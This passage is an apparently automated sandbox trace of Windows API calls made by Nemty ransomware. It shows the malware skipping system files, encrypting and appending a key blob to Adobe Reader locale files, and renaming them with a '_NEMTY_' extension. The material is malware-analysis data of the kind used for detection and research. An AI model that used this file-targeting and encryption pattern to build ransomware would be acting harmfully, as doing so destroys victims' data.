out: lpMultiByteStr="Search.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.177] Sleep (dwMilliseconds=0x5) [0178.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd9ddf0, dwHighDateTime=0x1d561e8)) [0178.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd9ddf0, dwHighDateTime=0x1d561e8)) [0178.182] GetLastError () returned 0x0 [0178.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.183] GetLastError () returned 0x0 [0178.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.184] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.184] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.185] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.185] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="/C9LxxlqAz8KoSuThHpKP3T3K9glvVXjAqZkslg9/psexwr77WsvkyyHVv5+Amk6\r\npZykLJ9ZmJN6AU3fBDjBqXxZMbctjrlQEKUJxZbj3N51jvn7N8QmZyGyUicb/8a0\r\n35+7KBRvo9QGYNPO4fytEgGuuFjXt+fH4NO86KCv52HyksmJk95F4i+wf3GeyUid\r\nBwdURtl535ks2c8gyaLdZAitLHLpOQ1P9Fg9Dvn9zv84Ee39xJWWOvh1EDBdlDQP\r\n4BWWmKYTTQ0AyQH25y1TJurnTK/HGyqxUF3gNb2OTDUdeqLzp3Rr77jMjQkqPc+p\r\n6HN2X5f/vVITm6eEIE1LNA==\r\n", pcchString=0x653e5dc) returned 1 [0178.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.186] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0178.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0178.186] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.186] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0178.267] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.267] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0178.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.267] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0178.267] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.267] CloseHandle (hObject=0x2e8) returned 1 [0178.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.268] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun._nemty_kgobjgd_")) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.268] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.HUN", cAlternateFileName="")) returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2=".") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="..") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="...") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="windows") returned -1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="rsa") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="NTDETECT.COM") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="ntldr") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="MSDOS.SYS") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="IO.SYS") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="boot.ini") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="boot.ini") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="ntuser.dat") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="desktop.ini") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="CONFIG.SYS") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="RECYCLER") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="bootmgr") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="programdata") returned 1 [0178.269] lstrcmpiW (lpString1="SendMail.HUN", lpString2="appdata") returned 1 [0178.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.270] Sleep (dwMilliseconds=0x5) [0178.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1de82630, dwHighDateTime=0x1d561e8)) [0178.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1de82630, dwHighDateTime=0x1d561e8)) [0178.275] GetLastError () returned 0x0 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.275] GetLastError () returned 0x0 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.275] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.275] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IppN301ggtJN1oTSUFvRRQTU2vHxZXexq0X+sqQvKkLxkaXQRJxW+11GrWSAOkPg\r\nHd8UN1wuPwV8am+Q2dhirSa+u6LsXr3aDuWFEhZxSZKP3tRfKNqG5ynsTsF4e7DA\r\nRtX3RWMGxNMluntp0jVrtfRA/UWDmzV6AQYqDvyM2q6jPvt18V2HTFdFDa+R7ISe\r\nDwuqRg4JYI2FnHf/DFpLFEmpqpKUQCfpJPqcXPy2WsWpGtPGqNovBOIqO3l0wUq4\r\nzxZbaJM/uHSJvka1d7iSGYDH/p0BGKAUtdykdugMA7pkI9Hxg4Lm8793gOJq8Gtp\r\n4SN8G7yvYad9qdrGcLzmxw==\r\n", pcchString=0x653e5dc) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.276] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0178.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0178.276] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.276] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0178.280] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0178.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.280] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0178.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.280] CloseHandle (hObject=0x2e8) returned 1 [0178.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.281] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun._nemty_kgobjgd_")) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.281] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0178.281] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0178.282] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0178.282] 